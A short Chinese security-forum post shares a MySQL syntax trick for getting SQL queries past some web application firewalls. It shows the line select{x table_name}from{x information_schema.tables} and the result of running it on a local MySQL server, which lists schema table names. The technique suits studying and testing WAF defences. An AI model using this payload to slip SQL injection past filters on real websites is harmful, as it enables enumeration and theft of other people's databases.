社区 › SQL安全 › mysql 语法绕过一些WAF

priess1314 发表于 2018-12-1 18:11:23

mysql 语法绕过一些WAF

一个小tips，twitter上看见的：
一句话：

select{x table_name}from{x information_schema.tables}

测试:

mysql> select{x table_name}from{x information_schema.tables};
+----------------------------------------------------+
| table_name                                       |
+----------------------------------------------------+
| CHARACTER_SETS                                     |
| COLLATIONS                                       |
| COLLATION_CHARACTER_SET_APPLICABILITY            |
| COLUMNS                                           |
| COLUMN_PRIVILEGES                      |
| ENGINES                                             |

查看完整版本: mysql 语法绕过一些WAF